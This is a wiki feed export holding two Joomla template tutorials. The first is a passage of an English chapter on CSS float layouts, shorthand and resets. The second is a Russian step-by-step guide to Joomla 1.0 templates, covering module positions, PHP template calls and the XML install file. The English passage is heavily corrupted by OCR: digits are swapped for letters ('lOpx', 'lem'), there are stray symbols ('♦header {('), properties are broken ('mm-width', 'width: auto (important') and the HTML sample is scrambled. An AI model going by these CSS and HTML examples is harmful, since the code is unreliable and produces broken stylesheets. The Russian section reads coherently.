surfers don't like) and poorer performance in search engines. The code can roughly double in&lt;br /&gt;
size, not just with markup but also something called &amp;quot;spacer gifs&amp;quot;.&lt;br /&gt;
Even big companies sometimes fall into the table trap as seen by a recent controversy about the&lt;br /&gt;
new disnev.co.uk website2.&lt;br /&gt;
1 www.upsdell.com/BrowserNews/stat trends.htm#res&lt;br /&gt;
2 www.compassdesiqns.net/ioomla-bloq/qeneral-ioornla/what-rnakes-a-qood-desiqner.html&lt;br /&gt;
•    They are difficult to maintain. To change something you have to figure out what all the td/tr are doing. With CSS there are just a few lines to inspect.&lt;br /&gt;
•     The content cannot be source ordered. Many surfers of the web do not see web pages on a browser. Those viewing with a text browser or screen reader will read the page from the top left corner to the bottom right. This means that they first view everything in the header and left column (for a 3 column layout) before they get the the middle column, the important stuff. A CSS layout on the other hand allows for &amp;quot;source-ordered&amp;quot; content, which means the content can be rearranged in the code/source. Perhaps your most important site visitor is Google, and it uses a screen reader for all intents and purposes.&lt;br /&gt;
Let's look at our layout using CSS. You can position elements (stuff) in several ways using CSS.&lt;br /&gt;
For a quick introduction a good source is Braiujar's CSS Positioning3.&lt;br /&gt;
If you are new to CSS you might read at least one &amp;quot;beginners guide to CSS&amp;quot;. Here are a few&lt;br /&gt;
suggestions:&lt;br /&gt;
•    Kevin Hale's - An Overview of Current CSS Layout Techniques http://particletree.com/features/an-overview-of-current-css-layout-techiiiques/&lt;br /&gt;
•    htmldog's CSS Beginner's Guide&lt;br /&gt;
w ww .htmldo g. с om/guides/c ssbe ginner/&lt;br /&gt;
•    yourhtmlsource.com www.yourhtmlsource.com/stylesheets/&lt;br /&gt;
We will be using float to position our content. At its most basic, the template might look Figure 11-4.&lt;br /&gt;
Still not very exciting, but let's see what the part are all about here.&lt;br /&gt;
The CSS styles are defined here in the head of the file to show what is going on. but normally they would be in the template. ess file.&lt;br /&gt;
Everything is contained in a element called #wrap. This had a width of 80% of the viewport at anv time.&lt;br /&gt;
3 www.brainiar.com/css/positioninq/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Figure 11-4 Veiy basic template layout&lt;br /&gt;
Tip: CSS Shorthand&lt;br /&gt;
Its possible to reduce the amount of CSS by using &amp;quot;shorthand&amp;quot;. One example of this is padding&lt;br /&gt;
and margin styles applied to an element.&lt;br /&gt;
margin-top:5px;   margin-bottom:5px;  margin-left:10px;   margin-right:10px;&lt;br /&gt;
can be replaced by:&lt;br /&gt;
margin:   5px  lOpx;&lt;br /&gt;
There are 'shorthand' styles at the beginning of each style definition. Once you have figured out the styles, fill the shorthand versions in and delete the long versions. The syntax is:&lt;br /&gt;
font:   font-size   I font-style   |   font-variant   I   font-weight   I   line-height   I font-family&lt;br /&gt;
Here is an example, rather than this...&lt;br /&gt;
font-size:lem;   f:nt-family:Arial,Helvetica,sans-serif;   font-style:italic; font-weight:bold;   line-height:1.3em;&lt;br /&gt;
Have this:&lt;br /&gt;
font:bold  lem/1.3em Arial,Helvetica,sans-serif italic;&lt;br /&gt;
Read more at An Introduction to CSS shorthand properties about this syntax. http://home.no.iiet(iuniun litml/shorthand.html&lt;br /&gt;
The left, middle and right columns are each given their own element. Each is floated left and given a percent width that add up to 100%. The clear :both style on the footer tells the browser&lt;br /&gt;
to &amp;quot;stop floating&amp;quot; and makes the footer stretch across all three columns. When we build our second template in this chapter, we will have to use a more advanced clearing technique.&lt;br /&gt;
To improve the layout, and to add some breathing room to the content, we need to add some column spacing, commonly called &amp;quot;gutter&amp;quot;. Unfortunately, there is a problem here. You might know that Internet Explorer does not interpret CSS correctly. One problem is that calculates width differently. We solve this problem by not using any padding or borders on something that has a width. To get our gutter we add another &amp;lt;div&amp;gt; element inside the columns. This is shown below:&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;wrap&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;header&amp;quot;&amp;gt;				&lt;br /&gt;
&amp;lt;div class=&amp;quot;ins	ide&amp;quot;&amp;gt;			&lt;br /&gt;
&amp;lt;?php echo	Smainf	rame-&amp;gt;getcfg(';	iitename');?&amp;gt;	&lt;br /&gt;
&amp;lt;jdoc:include &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&amp;quot;sidebar&amp;quot;	type=&lt;br /&gt;
&amp;gt;	&amp;quot;modules&amp;quot; name=	;&amp;quot;top&amp;quot; /&amp;gt;	&lt;br /&gt;
&amp;lt;div class=&amp;quot;ins	ide&amp;quot;&amp;gt;			&lt;br /&gt;
&amp;lt;jdoc:include	type=	&amp;quot;modules&amp;quot; name=	;&amp;quot;left&amp;quot; /&amp;gt;	&lt;br /&gt;
&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&amp;quot;content&amp;quot;	&amp;gt;			&lt;br /&gt;
&amp;lt;div class=&amp;quot;ins &amp;lt;jdoc:include&lt;br /&gt;
&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&amp;quot;sidebar-	ide&amp;quot;&amp;gt; type=&lt;br /&gt;
2&amp;quot;&amp;gt;	&amp;quot;component&amp;quot; /&amp;gt;		&lt;br /&gt;
&amp;lt;div class=&amp;quot;ins	ide&amp;quot;&amp;gt;			&lt;br /&gt;
&amp;lt;jdoc:include &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&amp;quot;footer&amp;quot;&amp;gt;	type=	&amp;quot;modules&amp;quot; name=	bright&amp;quot; /&amp;gt;	&lt;br /&gt;
&amp;lt;div class=&amp;quot;ins	ide&amp;quot;&amp;gt;			&lt;br /&gt;
Powered by &amp;lt;a href=&amp;quot;Ошибка! Недопустимый объект гиперссылки.&amp;gt;. Valid &amp;lt;a&lt;br /&gt;
href=&amp;quot;http://validator.w3.org/check/referer&amp;quot;&amp;gt;XHTML&amp;lt;/a&amp;gt; and &amp;lt;a&lt;br /&gt;
href=&amp;quot;http://jigsaw.w3.org/css-validator/check/referer&amp;quot;&amp;gt;CSS&amp;lt;/a&amp;gt;. &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;!--end of wrap—&amp;gt; &amp;lt;/body&amp;gt;				&lt;br /&gt;
To the CSS we add:&lt;br /&gt;
.inside   {padding:lOpx;}&lt;br /&gt;
This simple layout is a good one to use for learning about how to use CSS with Joomla. It gives two of the advantages of CSS over table based layouts, it is less code and is easier to maintain. However, it is not source ordered. For that we must use a more advanced layout known as a &amp;quot;nested float&amp;quot;.&lt;br /&gt;
Source ordered layouts perforin better for SEO than ones where the important content accours late in the code. From a Joomla site perspective, the important content is that which is coining from the component.&lt;br /&gt;
This particular layout is quite complex and too much to go into here. Luckily for you. I have an explanation of how to create this as a downloadable file at www.compassdesigns.net.&lt;br /&gt;
The Default Joomla CSS&lt;br /&gt;
So far all of our CSS has been only about layout. That will make a pretty plain page, so let's add some formatting. We will also move all of the CSS code out of the header of the index, php and into CSS files.&lt;br /&gt;
Let's add a couple of things, our layout is now:&lt;br /&gt;
/*Compass  Design  layout.ess CSS  file*/&lt;br /&gt;
body   {&lt;br /&gt;
text-align:center; /*center hack*/&lt;br /&gt;
}&lt;br /&gt;
#wrap {&lt;br /&gt;
mm-width: 760px;&lt;br /&gt;
max-width:960px;&lt;br /&gt;
width: auto (important; /*IE6 hack*/&lt;br /&gt;
width:960px; /*IE6 hack*/&lt;br /&gt;
margin:0 auto; /*center hack*/&lt;br /&gt;
text-align:left; /*center hack*/&lt;br /&gt;
}&lt;br /&gt;
♦header {(&lt;br /&gt;
♦sidebar   {float:left;width:20%;   overflow:hidden   } ♦content   {float:left;width:60%;   overflow:hidden   } #sidebar-2   {float:left;width:20%;   overflow:hidden   } ♦footer   {clear:both;} .inside   {padding:lOpx;}&lt;br /&gt;
We have centered the page by using a small hack. This has to be done because of Internet Explorer. With standards compliant browser we could just say margin:0 10%: to center the page, but IE does not recognize that. So we center the &amp;quot;text&amp;quot; of the whole page and then align it back left in the columns.&lt;br /&gt;
In celebration of IE7's support of min/max width (IE6 does not) we can add in a minimum and maximum width. Note we have to add a tinv hack for IE6 as it does not understand these. It will ignore the ! important statement and have a plain old 960px width.&lt;br /&gt;
Tip:&lt;br /&gt;
It might seem strange to define our columns in percentage widths and then have a containing div&lt;br /&gt;
that is fixed. Well, there are several things going on here.&lt;br /&gt;
1.        Having fluid columns inside a fixed width container make the template veiy flexible. If we add width changer buttons we only need to change one value.&lt;br /&gt;
2.       We still have a max-width though, why not go all fluid? Many viewers on the web now have enourmous screens. Usability research tells us that lines of text over 900px wide are hard to read because the eyes have to go a long way to go to the next line. Limiting the fluidity makes the site more useable/accessible.&lt;br /&gt;
We have also added a new style to the columns: overflow:hidden. This will make the page &amp;quot;break&amp;quot; more consistently as we reduce its width.&lt;br /&gt;
At the beginning of the typography CSS we will set some overall styles and have what is known as a &amp;quot;slobal reset&amp;quot;.&lt;br /&gt;
/*Compass  Design typography ess   */&lt;br /&gt;
*   {&lt;br /&gt;
margin:0;&lt;br /&gt;
padding:0;&lt;br /&gt;
}&lt;br /&gt;
hi,h2,h3,h4,h5,h6,p,blockquote,form,label,ul,ol,dl,fieldset,address   {&lt;br /&gt;
margin:   0.5em 0;&lt;br /&gt;
}&lt;br /&gt;
li,dd { margin-left:lem;&lt;br /&gt;
}&lt;br /&gt;
fieldset {&lt;br /&gt;
padding:.5em;&lt;br /&gt;
}&lt;br /&gt;
body {&lt;br /&gt;
font-size:76%;&lt;br /&gt;
font-family:Verdana, Arial, Helvetica, sans-serif;&lt;br /&gt;
line-height:1.3;&lt;br /&gt;
}&lt;br /&gt;
Everything is given a zero margin and padding and then all block level elements are given a bottom margin. This helps achieve browser consistency. You can read more about the global reset at clagnut4 and left-justified5.&lt;br /&gt;
The font size is set to 76%. The reason for this is to try and get more consistent font sizes across browsers. All font sizes are then set in em. Having line-height: l. з helps readability. This means that the pages will be more accessible as the viewer will be able to resize the fonts to their own preference. This is discussed more at &amp;quot;An experiment in typography&amp;quot; at The Noodle Incident (Owen Briggs)6&lt;br /&gt;
4 www.claqnut.com/bloq/1287/&lt;br /&gt;
5 http://leftiustified.net/iournal/2004/10/19/qlobal-ws-reset/&lt;br /&gt;
6 www.thenoodleincident.com/tutorials/tvpoqraphy/template.html&lt;br /&gt;
If we were to add some backsuound colors we would see something as shown in figure 11-5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Figure 11-5 Basic template with typography&lt;br /&gt;
Notice that the side columns do not reach their footer. This is because they only extend as far as their content, where the space is white on the left and on the right, they don't exist.&lt;br /&gt;
If we have a template that has a white background for all three columns, this is no problem. We will use this approach and will have boxes round the modules. If equal height columns are desired that are colored, or have boxes, you must use a background image that will tile vertically. This technique is called &amp;quot;Faux Columns&amp;quot; and is described by Douglas Bowman7 and Eric Meyer8.&lt;br /&gt;
7 www.stopdesiqn.com/loq/2004/09/03/liquid-bleach.html&lt;br /&gt;
8 www.mever\veb.com/eric/thouqhts/2004/09/03/slidinq-faux-columns/&lt;/div&gt;</summary>
		<author><name>Serj777</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8E_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0%B0_Joomla</id>
		<title>Руководство по созданию шаблона Joomla</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8E_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0%B0_Joomla"/>
				<updated>2007-05-31T04:37:20Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
=== Введение ===&lt;br /&gt;
Некоторые замечания:&lt;br /&gt;
* Данное руководство предназначено для Joomla версии 1.0.12&lt;br /&gt;
* Оно предназначено для людей уже знакомых с HTML и CSS&lt;br /&gt;
* К сожалению, здесь не рассматриваются вопросы CSS-классов в Joomla. Это совершенно другой разговор.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 1. Разработайте концепцию дизайна вашего сайта ===&lt;br /&gt;
До того как сесть за разработку шаблона вам стоит рассмотреть свой сайт повнимательнее. Я использую Adobe Fireworks, вы же можете использовать ту программу, с которой вам будет наиболее комфортно работать. &lt;br /&gt;
&lt;br /&gt;
Самый главный совет - делайте макет настолько простым, насколько это возможно. Избегайте делать шаблоны, которые потребуют создания сложных структур вложенных таблиц. &lt;br /&gt;
&lt;br /&gt;
Ниже нарисован мой макет:&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Mockup.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 2. Определитесь какие элементы Joomla вы будете использовать ===&lt;br /&gt;
Когда вы разрабатываете макет вам необходимо решить какие же элементы Joomla вы будете использовать. Это звучит немного сложно, для новичков. Так что же такое элемент? Я попытаюсь объяснить это попроще, с примерами. &lt;br /&gt;
&lt;br /&gt;
Представьте себе Joomla как оборудование какого-либо офиса. Где же вы разместите столы или стулья? &lt;br /&gt;
&lt;br /&gt;
Белая страница вашего будущего шаблона - это комната в офисе. Столы и стулья - это элементы Joomla. Где вы захотите разместить ваши статьи, последние новости, меню? &lt;br /&gt;
&lt;br /&gt;
Существует всего два типа элементов, которые вам необходимо хорошо знать - это '''Main Body''' и '''позиции модулей'''. Все сайты, построенные на Joomla, используют их. &lt;br /&gt;
&lt;br /&gt;
'''Main Body''' - это то место, где вы видите ваши статьи. Это ядро вашего сайта - полные версии статей, списки статей, гостевая книга - все это отображается там. Они все появляются на одном и том же месте страницы - не одновременно конечно же, все зависит от выбранного пункта меню. &lt;br /&gt;
&lt;br /&gt;
'''Модули''' - это меню, голосования, заголовки, баннеры и так далее. Это даже может быть статичный текст. Некоторые люди назвают это '''боковыми блоками'''. Мы будем говорить, что это мини-статьи которые отображаются вокруг '''Main Body'''.&lt;br /&gt;
&lt;br /&gt;
Новые позиции модулей - это то место, где вы хотите разместить ваши модули. Вы можете поместить их в любое место, но пытайтесь использовать для названий позиции говорящие за себя имена, такие как right, left, top, bottom, footer, и т.д.&lt;br /&gt;
&lt;br /&gt;
Если ваши голосования или меню будут расположены в одной части страницы (например справа или наверху), вы можете определить всего лишь одну позицию для них. Почему? Потому что Joomla позволяет иметь множество модулей на одной и той же позиции. Вы даже можете изменять их порядок следования. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Modulepositions.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И еще одно замечание про модули - вы можете настроить модули так, что бы они появлялись только при нажатии пользователя на определенные пункты меню.&lt;br /&gt;
&lt;br /&gt;
Например, у вас есть два пункта меню - Автомобили и Мотоциклы. Когда пользователь читает что-то под пунктом меню Автомобили вы хотите показать некоторый графически блок. Однако, когда пользователь читает то, что было под пунктом меню Мотоциклы, вы хотите показать другой графический блок, но на той же самой позиции модуля. Так вот знайте - это возможно, вам достаточно настроить модули в админке. Модули это очень мощный инструмент Joomla, почти все что угодно может быть расположено как модуль. &lt;br /&gt;
&lt;br /&gt;
Существует много модулей, встроенных в Joomla, но все они не обязательны:&lt;br /&gt;
* '''Дата''' - отображает текущую дату, основанную на времени вашего сервера.&lt;br /&gt;
* '''Низ''' (footer) - для отображения копрайта внизу страницы. Я не использую его, потому что они слишком громоздкий для редактирования, я лучше сделаю свою собственную позицию '''bottom''' и расположу мой текст там. &lt;br /&gt;
* '''Хлебные крошки''' (pathway) - это навигация вашего сайта.&lt;br /&gt;
* '''Имя сайта''' - используйте его, если хотите что бы имя вашего сайта было написано в какой-либо части вашей страницы. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 3. Определитесь, где вы расположите элементы Joomla===&lt;br /&gt;
Теперь посмотрите на макет и решите где вы расположите '''Main Body''' и '''позиции модулей'''. Ниже нарисован мой каркас:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Modules.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Как вы заметили, я не использую какие-либо дополнительные элементы. Я использую только '''Main Body''' и '''позиции модулей'''. Мой шаблон действительно очень прост. Мой девиз таков: если что-либо можно сделать модулем - не встраивайте это в код шаблона. &lt;br /&gt;
&lt;br /&gt;
Существует одна '''общая ошибка''' - попытка все что угодно запихать в шаблон. Я знаю людей, которые пихают в него меню или баннеры, в то время как они легко могут быть сделаны модулями. Попытайтесь избежать этой ошибки, помните - модули проще редактировать, чем шаблоны. &lt;br /&gt;
&lt;br /&gt;
Шаблон должен быть всего лишь скелетом сайта. Располагайте в нем только тот текст и графику, которые не будут изменяться по крайней мере пол года или больше. Например, логотип, фоновые изображения, таблицы, которые разделяют контент и элементы.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 4. Создайте необходимые директории ===&lt;br /&gt;
Создайте нижеследующую структуру директорий:&lt;br /&gt;
* Создайте директорию '''template_name''' (или дайте ей какое угодно другое имя, главное что бы там не было пробелов)&lt;br /&gt;
* Внутри создайте 2 папки: '''css''' и '''images'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Directorystructure.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В этих папках мы будем сохранять элементы шаблона. Их назначение будет разъяснено позже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 5. Создайте HTML-версию макета ===&lt;br /&gt;
Пришло время вспоминать HTML. Вам придется потратить на это время. Не беспокойтесь, если это займет несколько часов или дней. Посмотрите на ваш шаблон и начните создавать его HTML-версию. Да, с заголовками, тэгами body и таблицами. После создания сохраните его под именем '''template.html'''. Ваш логотип и другие графические элементы тоже должны стать частью шаблона. &lt;br /&gt;
&lt;br /&gt;
Используйте ту программу, с которой вам наиболее всего удобно работать. Например, некоторые люди используют текстовый редактор, а некоторые - Macromedia Dreamweaver. &lt;br /&gt;
&lt;br /&gt;
Куда и что сохранять:&lt;br /&gt;
* В папку ''template_name'' - файл '''template.html''', который мы затем переименуем в '''index.php'''&lt;br /&gt;
* В папку ''template_name/images'' - все изображения&lt;br /&gt;
* В папку ''template_name/css'' - CSS-файл (назовите его '''template_css.css''')&lt;br /&gt;
&lt;br /&gt;
Начните создавать ваш CSS файл. Для первоначальных классов вы можете использовать [http://joom.ru/component/option,com_remository/Itemid,52/func,fileinfo/id,157/ чистый CSS-файл на русском языке], в котором описаны все стили, используемые в Joomla.&lt;br /&gt;
&lt;br /&gt;
=== 6. Переименуйте макет в index.php ===&lt;br /&gt;
Сохраните где-нибудь ваш макет на всякий случай, и переименуйте '''template.html''' в '''index.php'''. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Renameindex.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 7. Создайте код для Joomla-элементов ===&lt;br /&gt;
Пришло время разместить код Joomla-элементов в вашем шаблоне. Существует специальный код, который нужен для каждого элемента. Вам просто необходимо разместить его на нужном месте, а элементы Joomla появятся там автоматически.&lt;br /&gt;
&lt;br /&gt;
Откройте '''index.php''' (раньше это был '''template.html''') в '''текстовом редакторе'''. Конечно же можно использовать тот же Dreamweaver, но убедитесь что вы редактируете именно исходный код. Определитесь, где же будут расположены элементы Joomla и вставьтет соответствующий код:&lt;br /&gt;
* '''Main Body'''&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosMainBody(); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''Модуль'''&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosLoadModules ( 'position_name' ); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
Измените строку '''position_name''' на ту, какую же позицию вы хотите здесь показать. Если имя позиции модуля '''right''', то вы должны написать:&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosLoadModules ( 'right' ); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''Дата'''&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php echo mosCurrentDate(); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''Низ''' (footer)&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php include_once( $GLOBALS['mosConfig_absolute_path'] . '/includes/footer.php' ); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''Хлебные крошки''' (pathway)&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosPathWay(); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* '''Имя сайта''' (pathway)&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php echo $mosConfig_sitename; ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, если вы хотите разместить '''Main Body''' в центральной таблице, вы должны разместить код &lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosMainBody(); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
внутри этой таблицы:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Modulecode.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 8. Создайте код для тэгов &amp;quot;header&amp;quot;===&lt;br /&gt;
Мы все еще делаем '''index.php'''. Убедитесь, что файл все еще открыт в '''текстовом редакторе'''. Теперь вам надо удалить следующий код:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Headtags.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И заменить его вот этим:&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
&amp;lt;?php defined( '_VALID_MOS' ) or die( 'Доступ запрещен' ); ?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &lt;br /&gt;
&amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php $iso = split( '=', _ISO ); echo '&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;'. $iso[1] .'&amp;quot;?' .'&amp;gt;'; ?&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; &amp;lt;?php echo _ISO; ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;?php mosShowHead(); ?&amp;gt;&lt;br /&gt;
&amp;lt;?php if ( $my-&amp;gt;id ) { initEditor(); } ?&amp;gt;&lt;br /&gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; &amp;lt;?php echo _ISO; ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;link href=&amp;quot;&amp;lt;?php echo $GLOBALS['mosConfig_live_site'];?&amp;gt;/templates/&amp;lt;?php &lt;br /&gt;
echo $GLOBALS['cur_template']; ?&amp;gt;/css/template_css.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 10. Измените путь для всех изображений ===&lt;br /&gt;
Теперь вам необходимо изменить пути для картинок. Напоминаю, что все картинки на данный момент выглядят вот так:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;img src=&amp;quot;images/filename.gif&amp;quot; /&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Это может создать проблемы, когда ваш шаблон будет установлен. Потому что когда вы загружаете шаблон, пути ваших изображений изменятся, в зависимости от того куда установлен ваш шаблон. &lt;br /&gt;
&lt;br /&gt;
К счастью, существует простой способ решить эту проблему. Используйтет функцию '''Найти и Заменить''' в вашем текстовом редакторе и найдите все что ниже:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;img src=&amp;quot;images/...&amp;quot; /&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
И замените это следующим:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;img src=&amp;quot;&amp;lt;?php echo $GLOBALS['mosConfig_live_site'];?&amp;gt;/templates/&amp;lt;?php echo $GLOBALS[cur_template];?&amp;gt;/images/...&amp;quot; /&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Теперь ваш код будет выглядеть примерно следующим образом:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Replacedtext.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Сохраните измененный файл '''index.php'''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 10. Создайте XML-файл ===&lt;br /&gt;
Теперь вам надо создать XML-файл, содержащий информацию о вашем шаблоне. Это обязательное требование, потому что Joomla просматривает этот файл, для того, что бы вы смогли установить его. &lt;br /&gt;
&lt;br /&gt;
''Проще всего делать XML-файл шаблона с помощью [http://joom.ru/component/option,com_remository/Itemid,52/func,fileinfo/id,80/ генератора XML Template Generator RE], но можно и вручную.''&lt;br /&gt;
&lt;br /&gt;
Откройте ваш любимый текстовый редактор и создайте новый документ. Вставьте следующий код:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;xml&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;windows-1251&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;mosinstall type=&amp;quot;template&amp;quot; version=&amp;quot;1.0.0&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;name&amp;gt;TEMPLATE_NAME&amp;lt;/name&amp;gt;&lt;br /&gt;
    &amp;lt;creationDate&amp;gt;DATE&amp;lt;/creationDate&amp;gt;&lt;br /&gt;
    &amp;lt;author&amp;gt;AUTHOR_NAME&amp;lt;/author&amp;gt;&lt;br /&gt;
    &amp;lt;copyright&amp;gt;COPYRIGHT_INFO&amp;lt;/copyright&amp;gt;&lt;br /&gt;
    &amp;lt;authorEmail&amp;gt;AUTHOR_EMAIL&amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
    &amp;lt;authorUrl&amp;gt;AUTHOR_URL&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
    &amp;lt;version&amp;gt;TEMPLATE_VERSION&amp;lt;/version&amp;gt;&lt;br /&gt;
    &amp;lt;description&amp;gt;TEMPLATE_DESCRIPTION&amp;lt;/description&amp;gt;&lt;br /&gt;
    &amp;lt;files&amp;gt;&lt;br /&gt;
        &amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
        &amp;lt;filename&amp;gt;template_thumbnail.png&amp;lt;/filename&amp;gt;&lt;br /&gt;
    &amp;lt;/files&amp;gt;&lt;br /&gt;
    &amp;lt;images&amp;gt;&lt;br /&gt;
        &amp;lt;filename&amp;gt;images/IMAGE_FILENAME&amp;lt;/filename&amp;gt;&lt;br /&gt;
        &amp;lt;filename&amp;gt;images/IMAGE_FILENAME&amp;lt;/filename&amp;gt;&lt;br /&gt;
    &amp;lt;/images&amp;gt;&lt;br /&gt;
    &amp;lt;css&amp;gt;&lt;br /&gt;
        &amp;lt;filename&amp;gt;css/template_css.css&amp;lt;/filename&amp;gt;&lt;br /&gt;
    &amp;lt;/css&amp;gt;&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&lt;br /&gt;
&amp;lt;/xml&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Теперь вы должны заменить следующие элементы:&lt;br /&gt;
* ''TEMPLATE_NAME'' - имя шаблона&lt;br /&gt;
* ''DATE'' - дата создания шаблона&lt;br /&gt;
* ''AUTHOR_NAME'' - ваше имя&lt;br /&gt;
* ''COPYRIGHT_INFO'' - некая информация о том, по какой же лицензии распространяется ваш шаблон, если он вообще распространяется&lt;br /&gt;
* ''AUTHOR_EMAIL'' - Email для контакта с вами&lt;br /&gt;
* ''AUTHOR_URL'' - URL вашего сайта&lt;br /&gt;
* ''TEMPLATE_VERSION'' - версия вашего шаблона (а вдруг вы захотите его модифицировать)&lt;br /&gt;
* ''TEMPLATE_DESCRIPTION'' - краткое описание вашего шаблона&lt;br /&gt;
